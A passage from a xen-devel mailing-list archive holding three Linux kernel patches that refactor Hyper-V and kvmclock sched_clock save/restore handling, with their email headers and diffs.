        h=cc:to:from:subject:message-id:references:mime-version:in-reply-to
         :date:reply-to:x-gm-message-state:from:to:cc:subject:date:message-id
         :reply-to;
        bh=m4IxRx7fOhcWBmMrJhtIUc/shJhrGyqdre87YRmUR5M=;
        b=aVpfSRmBDciU6EXBDSOxr9wg+NebSDvukWgXoJwkC3i8X1gvUXQMndGwv2ssDpTg65
         gyoTqWmGhrptP1sbI4x4gGFEX5io2SQME3XiGneJOUiqrtYZz7Ev354RGt840By5gyuw
         GwDnN1A3DVzBPdNw9gqgb4NUrVxiBtRzZsaOG1EO+LvZ5fxRcOZvn8TL/h6nZ0S6m7Z5
         ZQA5+1Mw03BucKnVfI64jyHbzym8hkYNmrfOdd8wxjvtwv7g7H3bp0N/HaNksqSHREsp
         rSWOqDbU5q5SYUAzO2JqARj0Uduh1NtK9jOm+GcJf0Voixbx4dwTSQL0GXwaQMR4NAsW
         DjWQ==
X-Forwarded-Encrypted: i=1; AFNElJ+8SWoT77RS7zoiOmHl9gLOoesJlm0K5RDpGzkYmAoF362d+JbVXntSXytLW7XP1apwHsrhZd6itV4=@lists.xenproject.org
X-Gm-Message-State: AOJu0Yxtzj6ksoubWSesilwJR5pXUb1XAWymfsqjW6rVKRLUFx9HOZOs
	/NCTDqIO1cmFqjVaz9LlvGZsYe7KryOW3H7W70ei5VdhRlUkcENp/5hpVZWpuaJuS3MmiBLXlbu
	KtQEcpg==
X-Received: from pgbda6.prod.google.com ([2002:a05:6a02:2386:b0:c99:7baf:126d])
 (user=seanjc job=prod-delivery.src-stubby-dispatcher) by 2002:a05:6a21:6b01:b0:3b4:931c:3c7c
 with SMTP id adf61e73a8af0-3bfed50b68fmr3305567637.44.1782934378058; Wed, 01
 Jul 2026 12:32:58 -0700 (PDT)
Reply-To: Sean Christopherson <seanjc@google.com>
Date: Wed,  1 Jul 2026 12:31:47 -0700
In-Reply-To: <20260701193212.749551-1-seanjc@google.com>
Mime-Version: 1.0
References: <20260701193212.749551-1-seanjc@google.com>
X-Mailer: git-send-email 2.55.0.rc0.799.gd6f94ed593-goog
Message-ID: <20260701193212.749551-27-seanjc@google.com>
Subject: [PATCH v5 26/51] clocksource: hyper-v: Drop wrappers to sched_clock
 save/restore helpers
From: Sean Christopherson <seanjc@google.com>
To: Jonathan Corbet <corbet@lwn.net>, Paolo Bonzini <pbonzini@redhat.com>, 
	Thomas Gleixner <tglx@kernel.org>, Ingo Molnar <mingo@redhat.com>, Borislav Petkov <bp@alien8.de>, 
	Dave Hansen <dave.hansen@linux.intel.com>, x86@kernel.org, 
	Kiryl Shutsemau <kas@kernel.org>, Rick Edgecombe <rick.p.edgecombe@intel.com>, 
	Sean Christopherson <seanjc@google.com>, "K. Y. Srinivasan" <kys@microsoft.com>, 
	Haiyang Zhang <haiyangz@microsoft.com>, Wei Liu <wei.liu@kernel.org>, 
	Dexuan Cui <decui@microsoft.com>, Long Li <longli@microsoft.com>, 
	Ajay Kaher <ajay.kaher@broadcom.com>, Alexey Makhalov <alexey.makhalov@broadcom.com>, 
	Jan Kiszka <jan.kiszka@siemens.com>, Andy Lutomirski <luto@kernel.org>, 
	Peter Zijlstra <peterz@infradead.org>, Juergen Gross <jgross@suse.com>, 
	Daniel Lezcano <daniel.lezcano@kernel.org>, John Stultz <jstultz@google.com>
Cc: Shuah Khan <skhan@linuxfoundation.org>, "H. Peter Anvin" <hpa@zytor.com>, 
	Vitaly Kuznetsov <vkuznets@redhat.com>, 
	Broadcom internal kernel review list <bcm-kernel-feedback-list@broadcom.com>, 
	Boris Ostrovsky <boris.ostrovsky@oracle.com>, Stephen Boyd <sboyd@kernel.org>, linux-doc@vger.kernel.org, 
	kvm@vger.kernel.org, linux-kernel@vger.kernel.org, linux-coco@lists.linux.dev, 
	linux-hyperv@vger.kernel.org, virtualization@lists.linux.dev, 
	xen-devel@lists.xenproject.org, Tom Lendacky <thomas.lendacky@amd.com>, 
	Nikunj A Dadhania <nikunj@amd.com>, David Woodhouse <dwmw@amazon.co.uk>, 
	David Woodhouse <dwmw2@infradead.org>, Michael Kelley <mhklinux@outlook.com>, 
	Thomas Gleixner <tglx@linutronix.de>
Content-Type: text/plain; charset="UTF-8"
X-purgate-ID: tlsNG-16d1c6/1782934380-C7D2D68D-25AF23C0/13/0
X-purgate-type: clean
X-purgate-size: 3436

Now that all of the Hyper-V reference counter sched_clock code is located
in a single file, drop the superfluous wrappers for the save/restore flows.

No functional change intended.

Reviewed-by: Michael Kelley <mhklinux@outlook.com>
Tested-by: Michael Kelley <mhklinux@outlook.com>
Acked-by: Wei Liu <wei.liu@kernel.org>
Signed-off-by: Sean Christopherson <seanjc@google.com>
---
 drivers/clocksource/hyperv_timer.c | 34 +++++-------------------------
 include/clocksource/hyperv_timer.h |  2 --
 2 files changed, 5 insertions(+), 31 deletions(-)

diff --git a/drivers/clocksource/hyperv_timer.c b/drivers/clocksource/hyperv_timer.c
index 4293173c3a27..daa8cbfe61ee 100644
--- a/drivers/clocksource/hyperv_timer.c
+++ b/drivers/clocksource/hyperv_timer.c
@@ -488,17 +488,6 @@ static void resume_hv_clock_tsc(struct clocksource *arg)
 	hv_set_msr(HV_MSR_REFERENCE_TSC, tsc_msr.as_uint64);
 }
 
-/*
- * Called during resume from hibernation, from overridden
- * x86_platform.restore_sched_clock_state routine. This is to adjust offsets
- * used to calculate time for hv tsc page based sched_clock, to account for
- * time spent before hibernation.
- */
-void hv_adj_sched_clock_offset(u64 offset)
-{
-	hv_sched_clock_offset -= offset;
-}
-
 #ifdef HAVE_VDSO_CLOCKMODE_HVCLOCK
 static int hv_cs_enable(struct clocksource *cs)
 {
@@ -565,12 +554,14 @@ static void (*old_restore_sched_clock_state)(void);
  * based clocksource, proceeds from where it left off during suspend and
  * it shows correct time for the timestamps of kernel messages after resume.
  */
-static void save_hv_clock_tsc_state(void)
+static void hv_save_sched_clock_state(void)
 {
+	old_save_sched_clock_state();
+
 	hv_ref_counter_at_suspend = hv_read_reference_counter();
 }
 
-static void restore_hv_clock_tsc_state(void)
+static void hv_restore_sched_clock_state(void)
 {
 	/*
 	 * Adjust the offsets used by hv tsc clocksource to
@@ -578,23 +569,8 @@ static void restore_hv_clock_tsc_state(void)
 	 * adjusted value = reference counter (time) at suspend
 	 *                - reference counter (time) now.
 	 */
-	hv_adj_sched_clock_offset(hv_ref_counter_at_suspend - hv_read_reference_counter());
-}
-/*
- * Functions to override save_sched_clock_state and restore_sched_clock_state
- * functions of x86_platform. The Hyper-V clock counter is reset during
- * suspend-resume and the offset used to measure time needs to be
- * corrected, post resume.
- */
-static void hv_save_sched_clock_state(void)
-{
-	old_save_sched_clock_state();
-	save_hv_clock_tsc_state();
-}
+	hv_sched_clock_offset -= (hv_ref_counter_at_suspend - hv_read_reference_counter());
 
-static void hv_restore_sched_clock_state(void)
-{
-	restore_hv_clock_tsc_state();
 	old_restore_sched_clock_state();
 }
 
diff --git a/include/clocksource/hyperv_timer.h b/include/clocksource/hyperv_timer.h
index d48dd4176fd3..a4c81a60f53d 100644
--- a/include/clocksource/hyperv_timer.h
+++ b/include/clocksource/hyperv_timer.h
@@ -38,8 +38,6 @@ extern void hv_remap_tsc_clocksource(void);
 extern unsigned long hv_get_tsc_pfn(void);
 extern struct ms_hyperv_tsc_page *hv_get_tsc_page(void);
 
-extern void hv_adj_sched_clock_offset(u64 offset);
-
 static __always_inline bool
 hv_read_tsc_page_tsc(const struct ms_hyperv_tsc_page *tsc_pg,
 		     u64 *cur_tsc, u64 *time)
-- 
2.55.0.rc0.799.gd6f94ed593-goog



From xen-devel-bounces@lists.xenproject.org Wed Jul 01 19:34:04 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 01 Jul 2026 19:34:04 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1350551.1608068 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wf0hA-0002uw-46; Wed, 01 Jul 2026 19:34:04 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1350551.1608068; Wed, 01 Jul 2026 19:34:04 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wf0h9-0002tl-W7; Wed, 01 Jul 2026 19:34:03 +0000
Received: by outflank-mailman (input) for mailman id 1350551;
 Wed, 01 Jul 2026 19:34:02 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92) (envelope-from
 <3a2tFagYKCbAiUQdZSWeeWbU.SecnUd-TUlUbbYiji.nUdfheZUSj.ehW@flex--seanjc.bounces.google.com>)
 id 1wf0h8-0002Y4-54
 for xen-devel@lists.xenproject.org; Wed, 01 Jul 2026 19:34:02 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wf0h7-00B44A-IH
 for xen-devel@lists.xenproject.org; Wed, 01 Jul 2026 21:34:01 +0200
Received: from [10.42.69.10] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1) (envelope-from
 <3a2tFagYKCbAiUQdZSWeeWbU.SecnUd-TUlUbbYiji.nUdfheZUSj.ehW@flex--seanjc.bounces.google.com>)
 id 6a456b9b-5cb7-0a2a0a5109dd-0a2a450ad372-32
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 21:34:01 +0200
Received: from [209.85.214.202] (helo=mail-pl1-f202.google.com)
 by tlsNG-4011c0.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from
 <3a2tFagYKCbAiUQdZSWeeWbU.SecnUd-TUlUbbYiji.nUdfheZUSj.ehW@flex--seanjc.bounces.google.com>)
 id 6a456b6c-e40e-0a2a450a0019-d155d6caed15-3
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 21:33:01 +0200
Received: by mail-pl1-f202.google.com with SMTP id
 d9443c01a7336-2c6a20348ceso13515645ad.1
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 12:33:00 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=google.com header.i="@google.com" header.h="Content-Type:Cc:To:From:Subject:Message-ID:References:Mime-Version:In-Reply-To:Date:Reply-To"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=google.com; s=20251104; t=1782934379; x=1783539179; darn=lists.xenproject.org;
        h=content-type:cc:to:from:subject:message-id:references:mime-version
         :in-reply-to:date:reply-to:from:to:cc:subject:date:message-id
         :reply-to:content-type;
        bh=D8RMEeRf8IO60ymrjMFeZrqFOqn/98Ma8JhKdrpIeKM=;
        b=TMNivoOfhimJCECmLDLcAOqwk2S7M8O0behC/qBKtXSqXv7ysQc3mfbhAojGDc5rO7
         4iMgQkBHinu+GNDXJGf6hSwe45qGOID5CKQlscgk4AaDqlaQ6cOrtRkOflN37DX85RSU
         mL1Xy7fiRBi/Y7NE7aZtofm5QxWRSmmQ/E7b5f4+g4BJ9/ScbW88igyuvEjp0oEvRqDu
         L5WyVvZMnBcwpmT4NGyU/xUyYa1N/qW3mLN/XAwJO9tKQNCsNhR3Df8liWtxtwpVMv4S
         PKMdqKSRq+uhcbCyHaRPQPkKPXiBv68dHqAf1UZJ1pribvuZKldSmLBVcZA7JHtnMRF/
         m3xA==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1782934379; x=1783539179;
        h=content-type:cc:to:from:subject:message-id:references:mime-version
         :in-reply-to:date:reply-to:x-gm-message-state:from:to:cc:subject
         :date:message-id:reply-to:content-type;
        bh=D8RMEeRf8IO60ymrjMFeZrqFOqn/98Ma8JhKdrpIeKM=;
        b=ZTmxfRsLy0gWTeUvlvGOx1OW9M/ntIxQ8cZfUfrb0SBhU0CYhVRHAjhlorc016xl6D
         5EHqjHoctjKOC5GPhN3XZzMOSYhQzPTiZJGTgtHFD7GCS6WgFgA3m9piJld7Yp6hXh+4
         nkkmMkQWJOQK2H/e/kFrpgzD4ryysQaGuZzlyKcGDPyBLBvZaqftGs4AAUA6U7m2ZHii
         Hqx3DzVQI1/GONXBsL8g2dB8jEwyWYkLS9Z1LwKDXaFuIGyDc7okkjK6UvawaSwH8RLu
         5bemxdIvcnT/YVj5PURaIlabahO1g9JivU14gS04w5gixiK8Z5NiI+KXHBKSfsDyDuWL
         HHfg==
X-Forwarded-Encrypted: i=1; AHgh+RplLpkp15SioDmyGN/vkaHFGQWEJ6HNtLrfO/9vLn8qwLhPg60jkcmrEAkDRneUQYgBq8TBi+Wbnh0=@lists.xenproject.org
X-Gm-Message-State: AOJu0YxiO9od9iNAKoy/gyyudX3xeveCmAdkZU86T1PFRhavpUhLHI4m
	X73eafca4DSJS8YoY0JgMAmgd/7qqvG7de1a4BOh8JZqJb5Do0YOABj4DNnx6lbgm36++Hs96+N
	X9RiU2Q==
X-Received: from plkp8.prod.google.com ([2002:a17:902:6b88:b0:2c7:ebed:f6e8])
 (user=seanjc job=prod-delivery.src-stubby-dispatcher) by 2002:a17:903:3ba4:b0:2c1:ee75:56bb
 with SMTP id d9443c01a7336-2ca9117aa06mr20678475ad.20.1782934379169; Wed, 01
 Jul 2026 12:32:59 -0700 (PDT)
Reply-To: Sean Christopherson <seanjc@google.com>
Date: Wed,  1 Jul 2026 12:31:48 -0700
In-Reply-To: <20260701193212.749551-1-seanjc@google.com>
Mime-Version: 1.0
References: <20260701193212.749551-1-seanjc@google.com>
X-Mailer: git-send-email 2.55.0.rc0.799.gd6f94ed593-goog
Message-ID: <20260701193212.749551-28-seanjc@google.com>
Subject: [PATCH v5 27/51] clocksource: hyper-v: Don't save/restore TSC offset
 when using HV sched_clock
From: Sean Christopherson <seanjc@google.com>
To: Jonathan Corbet <corbet@lwn.net>, Paolo Bonzini <pbonzini@redhat.com>, 
	Thomas Gleixner <tglx@kernel.org>, Ingo Molnar <mingo@redhat.com>, Borislav Petkov <bp@alien8.de>, 
	Dave Hansen <dave.hansen@linux.intel.com>, x86@kernel.org, 
	Kiryl Shutsemau <kas@kernel.org>, Rick Edgecombe <rick.p.edgecombe@intel.com>, 
	Sean Christopherson <seanjc@google.com>, "K. Y. Srinivasan" <kys@microsoft.com>, 
	Haiyang Zhang <haiyangz@microsoft.com>, Wei Liu <wei.liu@kernel.org>, 
	Dexuan Cui <decui@microsoft.com>, Long Li <longli@microsoft.com>, 
	Ajay Kaher <ajay.kaher@broadcom.com>, Alexey Makhalov <alexey.makhalov@broadcom.com>, 
	Jan Kiszka <jan.kiszka@siemens.com>, Andy Lutomirski <luto@kernel.org>, 
	Peter Zijlstra <peterz@infradead.org>, Juergen Gross <jgross@suse.com>, 
	Daniel Lezcano <daniel.lezcano@kernel.org>, John Stultz <jstultz@google.com>
Cc: Shuah Khan <skhan@linuxfoundation.org>, "H. Peter Anvin" <hpa@zytor.com>, 
	Vitaly Kuznetsov <vkuznets@redhat.com>, 
	Broadcom internal kernel review list <bcm-kernel-feedback-list@broadcom.com>, 
	Boris Ostrovsky <boris.ostrovsky@oracle.com>, Stephen Boyd <sboyd@kernel.org>, linux-doc@vger.kernel.org, 
	kvm@vger.kernel.org, linux-kernel@vger.kernel.org, linux-coco@lists.linux.dev, 
	linux-hyperv@vger.kernel.org, virtualization@lists.linux.dev, 
	xen-devel@lists.xenproject.org, Tom Lendacky <thomas.lendacky@amd.com>, 
	Nikunj A Dadhania <nikunj@amd.com>, David Woodhouse <dwmw@amazon.co.uk>, 
	David Woodhouse <dwmw2@infradead.org>, Michael Kelley <mhklinux@outlook.com>, 
	Thomas Gleixner <tglx@linutronix.de>
Content-Type: text/plain; charset="UTF-8"
X-purgate-ID: tlsNG-4011c0/1782934381-3C07ADDE-E9F45FBF/13/0
X-purgate-type: clean
X-purgate-size: 2767

Now that Hyper-V overrides the sched_clock save/restore hooks if and only
sched_clock itself is set to the Hyper-V reference counter, drop the
invocation of the "old" save/restore callbacks.  When the registration of
the PV sched_clock was done separately from overriding the save/restore
hooks, it was possible for Hyper-V to clobber the TSC save/restore
callbacks without actually switching to the Hyper-V refcounter.

Enabling a PV sched_clock is a one-way street, i.e. the kernel will never
revert to using TSC for sched_clock, and so there is no need to invoke the
TSC save/restore hooks (and if there was, it belongs in common PV code).

Reviewed-by: Michael Kelley <mhklinux@outlook.com>
Tested-by: Michael Kelley <mhklinux@outlook.com>
Reviewed-by: David Woodhouse <dwmw@amazon.co.uk>
Acked-by: Wei Liu <wei.liu@kernel.org>
Signed-off-by: Sean Christopherson <seanjc@google.com>
---
 drivers/clocksource/hyperv_timer.c | 10 ----------
 1 file changed, 10 deletions(-)

diff --git a/drivers/clocksource/hyperv_timer.c b/drivers/clocksource/hyperv_timer.c
index daa8cbfe61ee..220668207d19 100644
--- a/drivers/clocksource/hyperv_timer.c
+++ b/drivers/clocksource/hyperv_timer.c
@@ -544,9 +544,6 @@ static __always_inline void hv_setup_sched_clock(void *sched_clock)
 #include <asm/timer.h>
 
 static u64 hv_ref_counter_at_suspend;
-static void (*old_save_sched_clock_state)(void);
-static void (*old_restore_sched_clock_state)(void);
-
 /*
  * Hyper-V clock counter resets during hibernation. Save and restore clock
  * offset during suspend/resume, while also considering the time passed
@@ -556,8 +553,6 @@ static void (*old_restore_sched_clock_state)(void);
  */
 static void hv_save_sched_clock_state(void)
 {
-	old_save_sched_clock_state();
-
 	hv_ref_counter_at_suspend = hv_read_reference_counter();
 }
 
@@ -570,8 +565,6 @@ static void hv_restore_sched_clock_state(void)
 	 *                - reference counter (time) now.
 	 */
 	hv_sched_clock_offset -= (hv_ref_counter_at_suspend - hv_read_reference_counter());
-
-	old_restore_sched_clock_state();
 }
 
 static __always_inline void hv_setup_sched_clock(void *sched_clock)
@@ -579,10 +572,7 @@ static __always_inline void hv_setup_sched_clock(void *sched_clock)
 	/* We're on x86/x64 *and* using PV ops */
 	paravirt_set_sched_clock(sched_clock);
 
-	old_save_sched_clock_state = x86_platform.save_sched_clock_state;
 	x86_platform.save_sched_clock_state = hv_save_sched_clock_state;
-
-	old_restore_sched_clock_state = x86_platform.restore_sched_clock_state;
 	x86_platform.restore_sched_clock_state = hv_restore_sched_clock_state;
 }
 #else /* !CONFIG_GENERIC_SCHED_CLOCK && !CONFIG_PARAVIRT */
-- 
2.55.0.rc0.799.gd6f94ed593-goog



From xen-devel-bounces@lists.xenproject.org Wed Jul 01 19:34:05 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 01 Jul 2026 19:34:05 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1350553.1608079 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wf0hB-0003Ai-F4; Wed, 01 Jul 2026 19:34:05 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1350553.1608079; Wed, 01 Jul 2026 19:34:05 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wf0hB-0003AY-AC; Wed, 01 Jul 2026 19:34:05 +0000
Received: by outflank-mailman (input) for mailman id 1350553;
 Wed, 01 Jul 2026 19:34:03 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92) (envelope-from
 <3bGtFagYKCbEjVReaTXffXcV.TfdoVe-UVmVccZjkj.oVegifaVTk.fiX@flex--seanjc.bounces.google.com>)
 id 1wf0h9-0002qQ-RC
 for xen-devel@lists.xenproject.org; Wed, 01 Jul 2026 19:34:03 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wf0h9-00BqNS-7n
 for xen-devel@lists.xenproject.org; Wed, 01 Jul 2026 21:34:03 +0200
Received: from [10.42.69.11] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1) (envelope-from
 <3bGtFagYKCbEjVReaTXffXcV.TfdoVe-UVmVccZjkj.oVegifaVTk.fiX@flex--seanjc.bounces.google.com>)
 id 6a456b8d-bab6-0a2a0a5309dd-0a2a450b89ee-26
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 21:34:03 +0200
Received: from [209.85.214.201] (helo=mail-pl1-f201.google.com)
 by tlsNG-42698a.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from
 <3bGtFagYKCbEjVReaTXffXcV.TfdoVe-UVmVccZjkj.oVegifaVTk.fiX@flex--seanjc.bounces.google.com>)
 id 6a456b6d-ac48-0a2a450b0019-d155d6c9d195-3
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 21:33:02 +0200
Received: by mail-pl1-f201.google.com with SMTP id
 d9443c01a7336-2c9b1b608e2so14566935ad.3
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 12:33:02 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=google.com header.i="@google.com" header.h="Cc:To:From:Subject:Message-ID:References:Mime-Version:In-Reply-To:Date:Reply-To"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=google.com; s=20251104; t=1782934381; x=1783539181; darn=lists.xenproject.org;
        h=cc:to:from:subject:message-id:references:mime-version:in-reply-to
         :date:reply-to:from:to:cc:subject:date:message-id:reply-to;
        bh=IHAlzrllQ2SIWnv0fCfBsaTBNv7ymljQujJZvblLIYE=;
        b=AzWY3OVNP78CtrQ1weYyrQkWHNF2kdCX/dbIZYAddU0sCq7xvy0glzsszuj8qaLiS9
         bYXxOfNTGccLoze3wU7SSua/ZpDk/kUHusvWujSw7BewLd/VW1+vmQ2Nt7Bti/31UjZX
         Qyarxg3lfsxdz/d7YoilWSRNQRCtNf6JnEBEdGKx2YxeVPSmQGmdUWZziSA1fWyXCQJP
         iK7OBe2NoSD0SLYKe4JFWcbN7C08/ulon0ZrIcOzGMTVYo04gOg7ix/VeH+3QCCvdbyq
         /CtMkROfVC1/olmOdzCaDj3CbStmAr+7cgmFHCIDr5HKwG96a0dUn3uvLmxo47BLfJXs
         7gdw==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1782934381; x=1783539181;
        h=cc:to:from:subject:message-id:references:mime-version:in-reply-to
         :date:reply-to:x-gm-message-state:from:to:cc:subject:date:message-id
         :reply-to;
        bh=IHAlzrllQ2SIWnv0fCfBsaTBNv7ymljQujJZvblLIYE=;
        b=UMqRtpm8WrmxsC3lvv6k98GzK45gm7/h7bMDj3XBaVrolaHMDx7HXy0+l/h5naTTa/
         6LyWMrzpoNQFLPa0CwAypq9cBw2FIYTChLhT6jHuENwxb43Znk7UhaSN6vvuEpSh7N54
         5QTcnlZot+bAKvcvLZwlUIx5TqUJG/hgRcoEeS0MqauSoXG09Rqee8kaZpjt1OJDTN+i
         9qr8xeQP2JIGBnU8IePXbC+6XTmUyG0k+YvZcRAMad9SoP6NIP4nQntL0EsmuEohgSU7
         1a9G27eQThhfPzPAaHP9jpOEbKlDVfwM5pCRe2+LqMGXvSX87VPlqUqLZtEjd5Ix213j
         svBw==
X-Forwarded-Encrypted: i=1; AHgh+RrnR/GoumYciHhx/RIv13WvSBcBUPrCqsAOuR/R4b4Wy0CGEQ9+oPGD0CErPQWxtquREH0TbE1akdo=@lists.xenproject.org
X-Gm-Message-State: AOJu0Yxa8G+2KWgdM9VRVFFxOOqCp74XnyQE4ZH88PMcszbtWAVHIznu
	WLgSkNK2qEPYHQ6jECify4aDY3gX4sm3ZWddLfvP5LpXKj6HaGitu8iDtGTjXfwrz766sD/qbFM
	yzOF1pQ==
X-Received: from plblk15.prod.google.com ([2002:a17:903:8cf:b0:2c7:f338:5690])
 (user=seanjc job=prod-delivery.src-stubby-dispatcher) by 2002:a17:903:41c7:b0:2ca:de3:15e2
 with SMTP id d9443c01a7336-2ca7e561189mr31594705ad.0.1782934380474; Wed, 01
 Jul 2026 12:33:00 -0700 (PDT)
Reply-To: Sean Christopherson <seanjc@google.com>
Date: Wed,  1 Jul 2026 12:31:49 -0700
In-Reply-To: <20260701193212.749551-1-seanjc@google.com>
Mime-Version: 1.0
References: <20260701193212.749551-1-seanjc@google.com>
X-Mailer: git-send-email 2.55.0.rc0.799.gd6f94ed593-goog
Message-ID: <20260701193212.749551-29-seanjc@google.com>
Subject: [PATCH v5 28/51] x86/kvmclock: Setup kvmclock for secondary CPUs iff CONFIG_SMP=y
From: Sean Christopherson <seanjc@google.com>
To: Jonathan Corbet <corbet@lwn.net>, Paolo Bonzini <pbonzini@redhat.com>, 
	Thomas Gleixner <tglx@kernel.org>, Ingo Molnar <mingo@redhat.com>, Borislav Petkov <bp@alien8.de>, 
	Dave Hansen <dave.hansen@linux.intel.com>, x86@kernel.org, 
	Kiryl Shutsemau <kas@kernel.org>, Rick Edgecombe <rick.p.edgecombe@intel.com>, 
	Sean Christopherson <seanjc@google.com>, "K. Y. Srinivasan" <kys@microsoft.com>, 
	Haiyang Zhang <haiyangz@microsoft.com>, Wei Liu <wei.liu@kernel.org>, 
	Dexuan Cui <decui@microsoft.com>, Long Li <longli@microsoft.com>, 
	Ajay Kaher <ajay.kaher@broadcom.com>, Alexey Makhalov <alexey.makhalov@broadcom.com>, 
	Jan Kiszka <jan.kiszka@siemens.com>, Andy Lutomirski <luto@kernel.org>, 
	Peter Zijlstra <peterz@infradead.org>, Juergen Gross <jgross@suse.com>, 
	Daniel Lezcano <daniel.lezcano@kernel.org>, John Stultz <jstultz@google.com>
Cc: Shuah Khan <skhan@linuxfoundation.org>, "H. Peter Anvin" <hpa@zytor.com>, 
	Vitaly Kuznetsov <vkuznets@redhat.com>, 
	Broadcom internal kernel review list <bcm-kernel-feedback-list@broadcom.com>, 
	Boris Ostrovsky <boris.ostrovsky@oracle.com>, Stephen Boyd <sboyd@kernel.org>, linux-doc@vger.kernel.org, 
	kvm@vger.kernel.org, linux-kernel@vger.kernel.org, linux-coco@lists.linux.dev, 
	linux-hyperv@vger.kernel.org, virtualization@lists.linux.dev, 
	xen-devel@lists.xenproject.org, Tom Lendacky <thomas.lendacky@amd.com>, 
	Nikunj A Dadhania <nikunj@amd.com>, David Woodhouse <dwmw@amazon.co.uk>, 
	David Woodhouse <dwmw2@infradead.org>, Michael Kelley <mhklinux@outlook.com>, 
	Thomas Gleixner <tglx@linutronix.de>
Content-Type: text/plain; charset="UTF-8"
X-purgate-ID: tlsNG-42698a/1782934382-3814E220-7C5918BB/13/0
X-purgate-type: clean
X-purgate-size: 1442

Gate kvmclock's secondary CPU code on CONFIG_SMP, not CONFIG_X86_LOCAL_APIC.
Originally, kvmclock piggybacked PV APIC ops to setup secondary CPUs.
When that wart was fixed by commit df156f90a0f9 ("x86: Introduce
x86_cpuinit.early_percpu_clock_init hook"), the dependency on a local APIC
got carried forward unnecessarily.

Reviewed-by: David Woodhouse <dwmw@amazon.co.uk>
Signed-off-by: Sean Christopherson <seanjc@google.com>
---
 arch/x86/kernel/kvmclock.c | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/arch/x86/kernel/kvmclock.c b/arch/x86/kernel/kvmclock.c
index 2e7ab54cb9dc..b0c871ba8232 100644
--- a/arch/x86/kernel/kvmclock.c
+++ b/arch/x86/kernel/kvmclock.c
@@ -208,7 +208,7 @@ static void kvm_restore_sched_clock_state(void)
 	kvm_register_clock("primary cpu clock, resume");
 }
 
-#ifdef CONFIG_X86_LOCAL_APIC
+#ifdef CONFIG_SMP
 static void kvm_setup_secondary_clock(void)
 {
 	kvm_register_clock("secondary cpu clock");
@@ -348,7 +348,7 @@ void __init kvmclock_init(bool prefer_tsc)
 		x86_init.hyper.get_cpu_khz = kvmclock_get_tsc_khz;
 	x86_platform.get_wallclock = kvm_get_wallclock;
 	x86_platform.set_wallclock = kvm_set_wallclock;
-#ifdef CONFIG_X86_LOCAL_APIC
+#ifdef CONFIG_SMP
 	x86_cpuinit.early_percpu_clock_init = kvm_setup_secondary_clock;
 #endif
 	x86_platform.save_sched_clock_state = kvm_save_sched_clock_state;
-- 
2.55.0.rc0.799.gd6f94ed593-goog



